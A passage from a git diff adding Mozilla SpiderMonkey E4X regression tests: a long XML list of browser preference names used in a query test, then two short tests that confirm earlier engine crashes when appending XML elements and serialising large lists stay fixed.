+<pref><name>plugin.scan.WindowsMediaPlayer</name></pref>
+<pref><name>font.name.cursive.x-western</name></pref>
+<pref><name>intl.charset.detector</name></pref>
+<pref><name>browser.download.save_converter_index</name></pref>
+<pref><name>image.animation_mode</name></pref>
+<pref><name>network.http.sendRefererHeader</name></pref>
+<pref><name>font.default.x-central-euro</name></pref>
+<pref><name>plugin.default_plugin_disabled</name></pref>
+<pref><name>network.protocol-handler.external.ms-help</name></pref>
+<pref><name>font.default.x-geor</name></pref>
+<pref><name>browser.download.manager.openDelay</name></pref>
+<pref><name>dom.disable_window_open_feature.personalbar</name></pref>
+<pref><name>capability.policy.mailnews.SOAPHeaderBlock.mustUnderstand</name></pref>
+<pref><name>intl.keyboard.per_window_layout</name></pref>
+<pref><name>network.dir.format</name></pref>
+<pref><name>capability.policy.default.Clipboard.cutcopy</name></pref>
+<pref><name>capability.policy.default.Window.window</name></pref>
+<pref><name>font.name.sans-serif.x-ethi</name></pref>
+<pref><name>print.use_native_print_dialog</name></pref>
+<pref><name>browser.search.defaulturl</name></pref>
+<pref><name>font.name-list.serif.zh-HK</name></pref>
+<pref><name>network.negotiate-auth.trusted-uris</name></pref>
+<pref><name>intl.charsetmenu.browser.cache</name></pref>
+<pref><name>intl.menuitems.insertseparatorbeforeaccesskeys</name></pref>
+<pref><name>network.protocol-handler.external.news</name></pref>
+<pref><name>greasemonkey.enabled</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.send</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.getEncoder</name></pref>
+<pref><name>profile.seconds_until_defunct</name></pref>
+<pref><name>font.size.variable.x-beng</name></pref>
+<pref><name>mousewheel.horizscroll.withnokey.action</name></pref>
+<pref><name>bidi.texttype</name></pref>
+<pref><name>network.protocol-handler.expose.news</name></pref>
+<pref><name>network.negotiate-auth.delegation-uris</name></pref>
+<pref><name>font.name.serif.zh-TW</name></pref>
+<pref><name>network.IDN.whitelist.gr</name></pref>
+<pref><name>general.useragent.security</name></pref>
+<pref><name>extensions.disabledObsolete</name></pref>
+<pref><name>browser.download.manager.closeWhenDone</name></pref>
+<pref><name>network.proxy.ftp_port</name></pref>
+<pref><name>privacy.item.cookies</name></pref>
+<pref><name>capability.policy.mailnews.*.lowSrc.get</name></pref>
+<pref><name>font.name-list.serif.x-ethi</name></pref>
+<pref><name>font.name.serif.x-unicode</name></pref>
+<pref><name>pref.advanced.proxies.disable_button.reload</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.onload</name></pref>
+<pref><name>browser.download.show_plugins_in_list</name></pref>
+<pref><name>font.size.fixed.th</name></pref>
+<pref><name>font.size.fixed.zh-TW</name></pref>
+<pref><name>print.save_print_settings</name></pref>
+<pref><name>bidi.browser.ui</name></pref>
+<pref><name>extensions.update.url</name></pref>
+<pref><name>font.name-list.monospace.x-khmr</name></pref>
+<pref><name>intl.charsetmenu.browser.more2</name></pref>
+<pref><name>security.ssl3.dhe_dss_aes_256_sha</name></pref>
+<pref><name>capability.policy.mailnews.document.load</name></pref>
+<pref><name>security.ssl3.rsa_rc4_40_md5</name></pref>
+<pref><name>privacy.item.cache</name></pref>
+<pref><name>browser.search.param.Google.1.default</name></pref>
+<pref><name>browser.active_color</name></pref>
+<pref><name>font.name-list.monospace.zh-HK</name></pref>
+<pref><name>browser.display.show_image_placeholders</name></pref>
+<pref><name>ime.password.onFocus.dontCare</name></pref>
+<pref><name>middlemouse.contentLoadURL</name></pref>
+<pref><name>font.name-list.monospace.x-armn</name></pref>
+<pref><name>svg.enabled</name></pref>
+<pref><name>capability.policy.default.Window.location</name></pref>
+<pref><name>dom.disable_window_flip</name></pref>
+<pref><name>security.warn_submit_insecure.show_once</name></pref>
+<pref><name>font.size.variable.x-cyrillic</name></pref>
+<pref><name>font.size.fixed.x-western</name></pref>
+<pref><name>font.size.variable.x-devanagari</name></pref>
+<pref><name>capability.policy.mailnews.XMLSerializer.serializeToString</name></pref>
+<pref><name>bidi.support</name></pref>
+<pref><name>browser.display.background_color</name></pref>
+<pref><name>capability.policy.default.History.go.get</name></pref>
+<pref><name>font.size.variable.x-armn</name></pref>
+<pref><name>font.size.variable.el</name></pref>
+<pref><name>network.cookie.p3p</name></pref>
+<pref><name>mousewheel.horizscroll.withcontrolkey.sysnumlines</name></pref>
+<pref><name>app.update.url</name></pref>
+<pref><name>font.name.cursive.he</name></pref>
+<pref><name>network.http.redirection-limit</name></pref>
+<pref><name>network.ntlm.send-lm-response</name></pref>
+<pref><name>converter.html2txt.header_strategy</name></pref>
+<pref><name>browser.offline</name></pref>
+<pref><name>network.proxy.ftp</name></pref>
+<pref><name>dom.disable_window_open_feature.directories</name></pref>
+<pref><name>capability.policy.default.Clipboard.paste</name></pref>
+<pref><name>browser.related.disabledForDomains</name></pref>
+<pref><name>font.name.sans-serif.x-cyrillic</name></pref>
+<pref><name>intl.charsetmenu.browser.cache.size</name></pref>
+<pref><name>capability.policy.mailnews.SOAPCall.transportURI</name></pref>
+<pref><name>browser.shell.checkDefaultBrowser</name></pref>
+<pref><name>network.proxy.http</name></pref>
+<pref><name>capability.policy.default.History.current</name></pref>
+<pref><name>capability.policy.mailnews.SOAPFault.faultNamespaceURI</name></pref>
+<pref><name>capability.policy.mailnews.*.getAttribute</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.responseText</name></pref>
+<pref><name>network.IDN.whitelist.sh</name></pref>
+<pref><name>browser.cache.check_doc_frequency</name></pref>
+<pref><name>layout.frames.force_resizability</name></pref>
+<pref><name>capability.policy.default.Window.frames</name></pref>
+<pref><name>app.update.url.manual</name></pref>
+<pref><name>capability.policy.mailnews.SOAPFault.element</name></pref>
+<pref><name>browser.trim_user_and_password</name></pref>
+<pref><name>font.size.variable.tr</name></pref>
+<pref><name>browser.fixup.alternate.suffix</name></pref>
+<pref><name>browser.download.manager.showAlertInterval</name></pref>
+<pref><name>security.warn_viewing_mixed.show_once</name></pref>
+<pref><name>browser.helperApps.neverAsk.openFile</name></pref>
+<pref><name>font.name.sans-serif.x-central-euro</name></pref>
+<pref><name>capability.policy.mailnews.SOAPCall.asyncInvoke</name></pref>
+<pref><name>mousewheel.withnokey.numlines</name></pref>
+<pref><name>font.name.serif.tr</name></pref>
+<pref><name>privacy.popups.showBrowserMessage</name></pref>
+<pref><name>browser.feedview.showMenu</name></pref>
+<pref><name>font.name-list.serif.x-gujr</name></pref>
+<pref><name>browser.feedview.reloadInterval</name></pref>
+<pref><name>security.ui.enable</name></pref>
+<pref><name>editor.use_css</name></pref>
+<pref><name>network.IDN.whitelist.io</name></pref>
+<pref><name>browser.related.enabled</name></pref>
+<pref><name>browser.sessionhistory.max_viewers</name></pref>
+<pref><name>font.size.variable.x-guru</name></pref>
+<pref><name>font.size.variable.x-gujr</name></pref>
+<pref><name>network.protocol-handler.external.vnd.ms.radio</name></pref>
+<pref><name>advanced.system.supportDDEExec</name></pref>
+<pref><name>browser.tabs.opentabfor.urlbar</name></pref>
+<pref><name>font.name.sans-serif.x-khmr</name></pref>
+<pref><name>mousewheel.horizscroll.withshiftkey.sysnumlines</name></pref>
+<pref><name>network.protocol-handler.external.afp</name></pref>
+<pref><name>font.name-list.serif.x-guru</name></pref>
+<pref><name>intl.charsetmenu.browser.more5</name></pref>
+<pref><name>security.ssl3.rsa_rc4_128_md5</name></pref>
+<pref><name>font.default.he</name></pref>
+<pref><name>font.size.fixed.ko</name></pref>
+<pref><name>font.name-list.monospace.ko</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.onreadystatechange</name></pref>
+<pref><name>print.print_edge_right</name></pref>
+<pref><name>browser.popups.showPopupBlocker</name></pref>
+<pref><name>app.update.nagTimer.restart</name></pref>
+<pref><name>capability.policy.mailnews.Location.toString</name></pref>
+<pref><name>font.default.x-cyrillic</name></pref>
+<pref><name>font.size.fixed.x-unicode</name></pref>
+<pref><name>clipboard.autocopy</name></pref>
+<pref><name>font.name.monospace.ja</name></pref>
+<pref><name>browser.tabs.loadFolderAndReplace</name></pref>
+<pref><name>font.name.monospace.x-khmr</name></pref>
+<pref><name>font.size.variable.x-baltic</name></pref>
+<pref><name>font.name.serif.x-tamil</name></pref>
+<pref><name>font.name-list.monospace.x-gujr</name></pref>
+<pref><name>browser.urlbar.matchOnlyTyped</name></pref>
+<pref><name>capability.policy.mailnews.SOAPHeaderBlock.actorURI</name></pref>
+<pref><name>font.name-list.sans-serif.zh-CN</name></pref>
+<pref><name>extensions.update.interval</name></pref>
+<pref><name>network.IDN.whitelist.cn</name></pref>
+<pref><name>font.size.variable.he</name></pref>
+<pref><name>security.ssl3.dhe_rsa_des_ede3_sha</name></pref>
+<pref><name>dom.disable_window_open_feature.close</name></pref>
+<pref><name>font.name.cursive.el</name></pref>
+<pref><name>bidi.characterset</name></pref>
+<pref><name>font.name.cursive.x-unicode</name></pref>
+<pref><name>network.proxy.share_proxy_settings</name></pref>
+<pref><name>network.cookie.disableCookieForMailNews</name></pref>
+<pref><name>general.config.obscure_value</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.open</name></pref>
+<pref><name>dom.allow_scripts_to_close_windows</name></pref>
+<pref><name>network.IDN.whitelist.se</name></pref>
+<pref><name>mousewheel.horizscroll.withcontrolkey.action</name></pref>
+<pref><name>capability.policy.mailnews.WebServiceProxyFactory.onLoad</name></pref>
+<pref><name>browser.tabs.forceHide</name></pref>
+<pref><name>accessibility.typeaheadfind.enablesound</name></pref>
+<pref><name>font.size.fixed.x-cans</name></pref>
+<pref><name>capability.policy.default.HTMLDocument.close.get</name></pref>
+<pref><name>font.size.fixed.el</name></pref>
+<pref><name>font.name.cursive.x-cyrillic</name></pref>
+<pref><name>font.default.x-guru</name></pref>
+<pref><name>browser.chromeURL</name></pref>
+<pref><name>roaming.default.files</name></pref>
+<pref><name>profile.confirm_automigration</name></pref>
+<pref><name>browser.link.open_external</name></pref>
+<pref><name>font.name-list.serif.x-armn</name></pref>
+<pref><name>font.name.serif.el</name></pref>
+<pref><name>font.name-list.monospace.ja</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.getInternalSchemaURI</name></pref>
+<pref><name>browser.bookmarks.sort.direction</name></pref>
+<pref><name>browser.download.manager.flashCount</name></pref>
+<pref><name>browser.formfill.enable</name></pref>
+<pref><name>font.size.fixed.x-beng</name></pref>
+<pref><name>print.print_footerleft</name></pref>
+<pref><name>capability.policy.default.Window.parent</name></pref>
+<pref><name>capability.policy.mailnews.SOAPCall.verifySourceHeader</name></pref>
+<pref><name>browser.download.lastDir</name></pref>
+<pref><name>sessionsaver.windows.zorder</name></pref>
+<pref><name>xpinstall.enabled</name></pref>
+<pref><name>capability.policy.mailnews.*.getAttributeNS</name></pref>
+<pref><name>capability.policy.mailnews.*.pathname.get</name></pref>
+<pref><name>xpinstall.dialog.progress.type.skin</name></pref>
+<pref><name>browser.windows.loadOnNewWindow</name></pref>
+<pref><name>font.name-list.serif.he</name></pref>
+<pref><name>browser.link.open_newwindow.restriction</name></pref>
+<pref><name>font.name-list.monospace.he</name></pref>
+<pref><name>font.name.sans-serif.ja</name></pref>
+<pref><name>editor.singleLine.pasteNewlines</name></pref>
+<pref><name>accessibility.typeaheadfind.soundURL</name></pref>
+<pref><name>capability.policy.mailnews.Window.outerHeight.set</name></pref>
+<pref><name>capability.policy.mailnews.SOAPFault.faultActor</name></pref>
+<pref><name>font.size.fixed.tr</name></pref>
+<pref><name>extensions.getMoreThemesURL</name></pref>
+<pref><name>browser.search.param.Google.1.custom</name></pref>
+<pref><name>extensions.logging.enabled</name></pref>
+<pref><name>browser.frames.enabled</name></pref>
+<pref><name>font.default.th</name></pref>
+<pref><name>network.IDN.whitelist.lt</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.mapSchemaURI</name></pref>
+<pref><name>network.hosts.smtp_server</name></pref>
+<pref><name>mousewheel.withnokey.sysnumlines</name></pref>
+<pref><name>browser.tabs.loadOnNewTab</name></pref>
+<pref><name>font.name.sans-serif.el</name></pref>
+<pref><name>browser.display.focus_ring_width</name></pref>
+<pref><name>font.size.variable.x-mlym</name></pref>
+<pref><name>font.name.serif.x-khmr</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.status</name></pref>
+<pref><name>intl.charsetmenu.mailview.cache</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.setEncoder</name></pref>
+<pref><name>privacy.popups.usecustom</name></pref>
+<pref><name>font.name-list.serif.x-geor</name></pref>
+<pref><name>capability.policy.mailnews.WSDLLoader.onLoad</name></pref>
+<pref><name>dom.disable_window_open_feature.minimizable</name></pref>
+<pref><name>accessibility.typeaheadfind</name></pref>
+<pref><name>capability.policy.mailnews.SOAPFault.detail</name></pref>
+<pref><name>capability.policy.default.Window.document</name></pref>
+<pref><name>font.size.variable.x-geor</name></pref>
+<pref><name>xpinstall.dialog.confirm</name></pref>
+<pref><name>intl.collationOption</name></pref>
+<pref><name>browser.cache.memory.enable</name></pref>
+<pref><name>font.size.variable.x-cans</name></pref>
+<pref><name>browser.hiddenWindowChromeURL</name></pref>
+<pref><name>font.name-list.serif.x-devanagari</name></pref>
+<pref><name>capability.principal.codebase.p0.subjectName</name></pref>
+<pref><name>capability.policy.mailnews.*.hostname.get</name></pref>
+<pref><name>intl.fallbackCharsetList.ISO-8859-1</name></pref>
+<pref><name>network.IDN.whitelist.li</name></pref>
+<pref><name>javascript.options.strict</name></pref>
+<pref><name>font.name.cursive.ar</name></pref>
+<pref><name>browser.search.selectedEngine</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.getDecoder</name></pref>
+<pref><name>general.autoScroll</name></pref>
+<pref><name>font.default.x-western</name></pref>
+<pref><name>browser.display.use_system_colors</name></pref>
+<pref><name>extensions.ignoreMTimeChanges</name></pref>
+<pref><name>network.hosts.pop_server</name></pref>
+<pref><name>privacy.item.history</name></pref>
+<pref><name>editor.quotesPreformatted</name></pref>
+<pref><name>security.password_lifetime</name></pref>
+<pref><name>security.ssl3.dhe_dss_aes_128_sha</name></pref>
+<pref><name>font.name.monospace.x-tamil</name></pref>
+<pref><name>xpinstall.dialog.progress.type.chrome</name></pref>
+<pref><name>capability.policy.mailnews.SchemaLoader.processSchemaElement</name></pref>
+<pref><name>capability.policy.mailnews.DOMParser,parseFromString</name></pref>
+<pref><name>network.http.proxy.pipelining</name></pref>
+<pref><name>security.ssl3.rsa_1024_rc4_56_sha</name></pref>
+<pref><name>browser.history_expire_days</name></pref>
+<pref><name>capability.policy.mailnews.DOMException.toString</name></pref>
+<pref><name>font.name.serif.x-gujr</name></pref>
+<pref><name>browser.display.force_inline_alttext</name></pref>
+<pref><name>security.ssl3.rsa_1024_des_cbc_sha</name></pref>
+<pref><name>mousewheel.horizscroll.withshiftkey.action</name></pref>
+<pref><name>font.size.fixed.x-mlym</name></pref>
+<pref><name>font.name-list.cursive.he</name></pref>
+<pref><name>capability.policy.mailnews.Window.screenX.set</name></pref>
+<pref><name>font.name.serif.x-ethi</name></pref>
+<pref><name>network.cookie.lifetime.days</name></pref>
+<pref><name>view_source.wrap_long_lines</name></pref>
+<pref><name>network.IDN.whitelist.hu</name></pref>
+<pref><name>browser.bookmarks.sort.resource</name></pref>
+<pref><name>capability.policy.mailnews.*.getNamedItem</name></pref>
+<pref><name>security.warn_viewing_mixed</name></pref>
+<pref><name>browser.xul.error_pages.enabled</name></pref>
+<pref><name>capability.policy.mailnews.WebServiceProxyFactory.createProxyAsync</name></pref>
+<pref><name>capability.policy.mailnews.DOMParser,parseFromStream</name></pref>
+<pref><name>network.proxy.autoconfig_url</name></pref>
+<pref><name>capability.policy.mailnews.SOAPPropertyBagMutator.propertyBag</name></pref>
+<pref><name>xpinstall.dialog.progress.skin</name></pref>
+<pref><name>browser.download.hide_plugins_without_extensions</name></pref>
+<pref><name>network.protocol-handler.warn-external-default</name></pref>
+<pref><name>font.name.serif.he</name></pref>
+<pref><name>font.name.cursive.th</name></pref>
+<pref><name>network.negotiate-auth.allow-proxies</name></pref>
+<pref><name>capability.policy.default.Window.Components</name></pref>
+<pref><name>font.name.serif.x-central-euro</name></pref>
+<pref><name>font.size.fixed.x-tamil</name></pref>
+<pref><name>capability.policy.mailnews.SOAPFault.faultString</name></pref>
+<pref><name>app.update.mode</name></pref>
+<pref><name>font.name.serif.x-guru</name></pref>
+<pref><name>capability.policy.mailnews.*.title.get</name></pref>
+<pref><name>font.name.monospace.x-gujr</name></pref>
+<pref><name>app.update.nagTimer.download</name></pref>
+<pref><name>dom.disable_window_move_resize</name></pref>
+<pref><name>browser.download.useDownloadDir</name></pref>
+<pref><name>font.name.sans-serif.ar</name></pref>
+<pref><name>network.IDN.whitelist.no</name></pref>
+<pref><name>browser.display.screen_resolution</name></pref>
+<pref><name>extensions.dss.enabled</name></pref>
+<pref><name>network.http.request.max-start-delay</name></pref>
+<pref><name>font.size.fixed.ar</name></pref>
+<pref><name>extensions.update.enabled</name></pref>
+<pref><name>network.auth.use-sspi</name></pref>
+<pref><name>sessionsaver.settings.dontwarn</name></pref>
+<pref><name>capability.policy.mailnews.Window.name.set</name></pref>
+<pref><name>security.enable_tls</name></pref>
+<pref><name>dom.disable_window_open_feature.menubar</name></pref>
+<pref><name>xpinstall.whitelist.add</name></pref>
+<pref><name>sessionsaver.settings.nofx</name></pref>
+<pref><name>font.name.serif.ar</name></pref>
+<pref><name>network.http.max-connections</name></pref>
+<pref><name>browser.fixup.alternate.prefix</name></pref>
+<pref><name>privacy.item.formdata</name></pref>
+<pref><name>network.dns.disableIPv6</name></pref>
+<pref><name>network.protocol-handler.external.disks</name></pref>
+<pref><name>dom.disable_window_open_feature.status</name></pref>
+<pref><name>javascript.enabled</name></pref>
+<pref><name>prefs.converted-to-utf8</name></pref>
+<pref><name>capability.policy.mailnews.SOAPEncoding.getExternalSchemaURI</name></pref>
+<pref><name>network.proxy.socks_remote_dns</name></pref>
+<pref><name>capability.policy.mailnews.HTMLDocument.domain</name></pref>
+<pref><name>font.name-list.monospace.zh-CN</name></pref>
+<pref><name>font.default.zh-TW</name></pref>
+<pref><name>capability.policy.mailnews.Window.resizeBy</name></pref>
+<pref><name>browser.tabs.loadDivertedInBackground</name></pref>
+<pref><name>app.update.interval</name></pref>
+<pref><name>browser.related.provider</name></pref>
+<pref><name>profile.allow_automigration</name></pref>
+<pref><name>browser.search.basic.min_ver</name></pref>
+<pref><name>network.proxy.ssl</name></pref>
+<pref><name>security.xpconnect.plugin.unrestricted</name></pref>
+<pref><name>middlemouse.openNewWindow</name></pref>
+<pref><name>dom.disable_open_click_delay</name></pref>
+<pref><name>network.enablePad</name></pref>
+<pref><name>font.name.serif.x-baltic</name></pref>
+<pref><name>privacy.popups.disable_from_plugins</name></pref>
+<pref><name>font.name-list.monospace.x-guru</name></pref>
+<pref><name>security.ssl3.rsa_aes_128_sha</name></pref>
+<pref><name>capability.policy.mailnews.Window.innerWidth.set</name></pref>
+<pref><name>security.enable_ssl2</name></pref>
+<pref><name>font.name.monospace.th</name></pref>
+<pref><name>capability.policy.mailnews.WebServiceProxyFactory.onError</name></pref>
+<pref><name>network.protocol-handler.expose.mailto</name></pref>
+<pref><name>font.default.el</name></pref>
+<pref><name>network.http.default-socket-type</name></pref>
+<pref><name>browser.display.focus_background_color</name></pref>
+<pref><name>editor.use_custom_colors</name></pref>
+<pref><name>network.proxy.gopher</name></pref>
+<pref><name>ui.key.saveLink.shift</name></pref>
+<pref><name>font.name.serif.ko</name></pref>
+<pref><name>security.warn_entering_weak</name></pref>
+<pref><name>font.name.sans-serif.th</name></pref>
+<pref><name>capability.policy.mailnews.*.substringData.get</name></pref>
+<pref><name>font.name.cursive.x-central-euro</name></pref>
+<pref><name>browser.chrome.favicons</name></pref>
+<pref><name>font.size.variable.ar</name></pref>
+<pref><name>accessibility.typeaheadfind.autostart</name></pref>
+<pref><name>font.default.ar</name></pref>
+<pref><name>capability.policy.mailnews.SOAPFault.faultCode</name></pref>
+<pref><name>font.name.serif.th</name></pref>
+<pref><name>security.ssl3.dhe_rsa_aes_256_sha</name></pref>
+<pref><name>privacy.popups.policy</name></pref>
+<pref><name>font.name.monospace.he</name></pref>
+<pref><name>font.name.sans-serif.x-gujr</name></pref>
+<pref><name>browser.anchor_color</name></pref>
+<pref><name>network.http.keep-alive.timeout</name></pref>
+<pref><name>network.IDN.whitelist.cl</name></pref>
+<pref><name>browser.display.focus_text_color</name></pref>
+<pref><name>accessibility.typeaheadfind.linksonly</name></pref>
+<pref><name>mousewheel.withaltkey.numlines</name></pref>
+<pref><name>capability.policy.mailnews.Window.focus</name></pref>
+<pref><name>intl.content.langcode</name></pref>
+<pref><name>browser.helperApps.neverAsk.saveToDisk</name></pref>
+<pref><name>browser.throbber.url</name></pref>
+<pref><name>intl.menuitems.alwaysappendaccesskeys</name></pref>
+<pref><name>font.size.fixed.x-armn</name></pref>
+<pref><name>font.name.monospace.x-geor</name></pref>
+<pref><name>accessibility.typeaheadfind.flashBar</name></pref>
+<pref><name>font.name.monospace.x-devanagari</name></pref>
+<pref><name>font.name.serif.x-geor</name></pref>
+<pref><name>network.IDN.whitelist.ac</name></pref>
+<pref><name>browser.related.autoload</name></pref>
+<pref><name>intl.charsetmenu.browser.more3</name></pref>
+<pref><name>font.name.monospace.x-baltic</name></pref>
+<pref><name>browser.download.manager.useWindow</name></pref>
+<pref><name>font.size.fixed.x-devanagari</name></pref>
+<pref><name>font.name-list.sans-serif.ja</name></pref>
+<pref><name>browser.search.order.1</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.responseXML</name></pref>
+<pref><name>extensions.getMoreExtensionsURL</name></pref>
+<pref><name>font.name.serif.x-beng</name></pref>
+<pref><name>font.size.variable.th</name></pref>
+<pref><name>network.http.use-cache</name></pref>
+<pref><name>font.name.serif.zh-HK</name></pref>
+<pref><name>security.ssl3.rsa_null_md5</name></pref>
+<pref><name>capability.policy.default.Window.blur.get</name></pref>
+<pref><name>extensions.lastAppVersion</name></pref>
+<pref><name>font.name.monospace.ar</name></pref>
+<pref><name>capability.policy.mailnews.SOAPParameter</name></pref>
+<pref><name>accessibility.accesskeycausesactivation</name></pref>
+<pref><name>security.warn_leaving_secure.show_once</name></pref>
+<pref><name>network.cookie.lifetimePolicy</name></pref>
+<pref><name>bidi.numeral</name></pref>
+<pref><name>capability.policy.default.History.toString</name></pref>
+<pref><name>view_source.syntax_highlight</name></pref>
+<pref><name>capability.principal.codebase.p0.granted</name></pref>
+<pref><name>font.name-list.monospace.x-ethi</name></pref>
+<pref><name>network.http.proxy.version</name></pref>
+<pref><name>converter.html2txt.structs</name></pref>
+<pref><name>accessibility.usetexttospeech</name></pref>
+<pref><name>capability.policy.default.Navigator.preferenceinternal.get</name></pref>
+<pref><name>font.size.fixed.x-cyrillic</name></pref>
+<pref><name>capability.policy.default.Window.history</name></pref>
+<pref><name>bidi.direction</name></pref>
+<pref><name>capability.policy.mailnews.*.attributes.get</name></pref>
+<pref><name>sessionsaver.settings.sync.machineid</name></pref>
+<pref><name>capability.policy.mailnews.XMLHttpRequest.setRequestHeader</name></pref>
+<pref><name>app.update.enabled</name></pref>
+<pref><name>network.IDN.whitelist.at</name></pref>
+<pref><name>accessibility.typeaheadfind.enabletimeout</name></pref>
+<pref><name>browser.display.use_document_fonts</name></pref>
+<pref><name>font.name.sans-serif.zh-CN</name></pref>
+<pref><name>browser.startup.homepage_override.mstone</name></pref>
+<pref><name>profile.migration_directory</name></pref>
+<pref><name>font.name-list.serif.ja</name></pref>
+<pref><name>mousewheel.withnokey.action</name></pref>
+<pref><name>network.http.accept-encoding</name></pref>
+<pref><name>capability.policy.default.Window.length</name></pref>
+<pref><name>font.default.x-mlym</name></pref>
+<pref><name>security.enable_java</name></pref>
+<pref><name>network.standard-url.escape-utf8</name></pref>
+<pref><name>network.standard-url.encode-utf8</name></pref>
+<pref><name>network.IDN.whitelist.info</name></pref>
+<pref><name>font.name.monospace.x-armn</name></pref>
+<pref><name>keyword.enabled</name></pref>
+<pref><name>capability.policy.default.History.forward.get</name></pref>
+</prefs>;
+
+var i = 0;
+for each (var pref in xml.pref) {
+ printStatus(pref.name + ": " + xml.pref.(name == pref.name).length());
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-309897.js b/e4x/Regress/regress-309897.js
new file mode 100755
index 0000000..43b7204
--- /dev/null
+++ b/e4x/Regress/regress-309897.js
@@ -0,0 +1,68 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): conor@the325project.org
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-309897.js';
+
+var summary = "Regression - appending elements crashes mozilla";
+var BUGNUMBER = 309897;
+var actual = "No Crash";
+var expect = "No Crash";
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+function crash()
+{
+ try
+ {
+ var top = <top/>;
+ for (var i = 0; i < 1000; i++)
+ {
+ top.stuff += <stuff>stuff</stuff>;
+ }
+ }
+ catch(e)
+ {
+ printStatus("Exception: " + e);
+ }
+}
+
+crash();
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-311580.js b/e4x/Regress/regress-311580.js
new file mode 100755
index 0000000..1d34289
--- /dev/null
+++ b/e4x/Regress/regress-311580.js
@@ -0,0 +1,61 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Stephen Donner
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-311580.js';
+
+var summary = "Regression - properly root stack in toXMLString";
+var BUGNUMBER = 311580;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+// Not a performance problem.
+var xmlOl = new XML('<ol><li>Item 1<\/li><li>Item 2<\/li><\/ol>');
+var list = xmlOl.li;
+
+for(i = 0; i < 30000; i++)
+{
+ list[i+2] = "Item " + (i+3); // This code is slow.
+}
+
+var s = xmlOl.toXMLString();
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-313799.js b/e4x/Regress/regress-313799.js
new file mode 100755
index 0000000..5d847c1
--- /dev/null
+++ b/e4x/Regress/regress-313799.js
@@ -0,0 +1,53 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
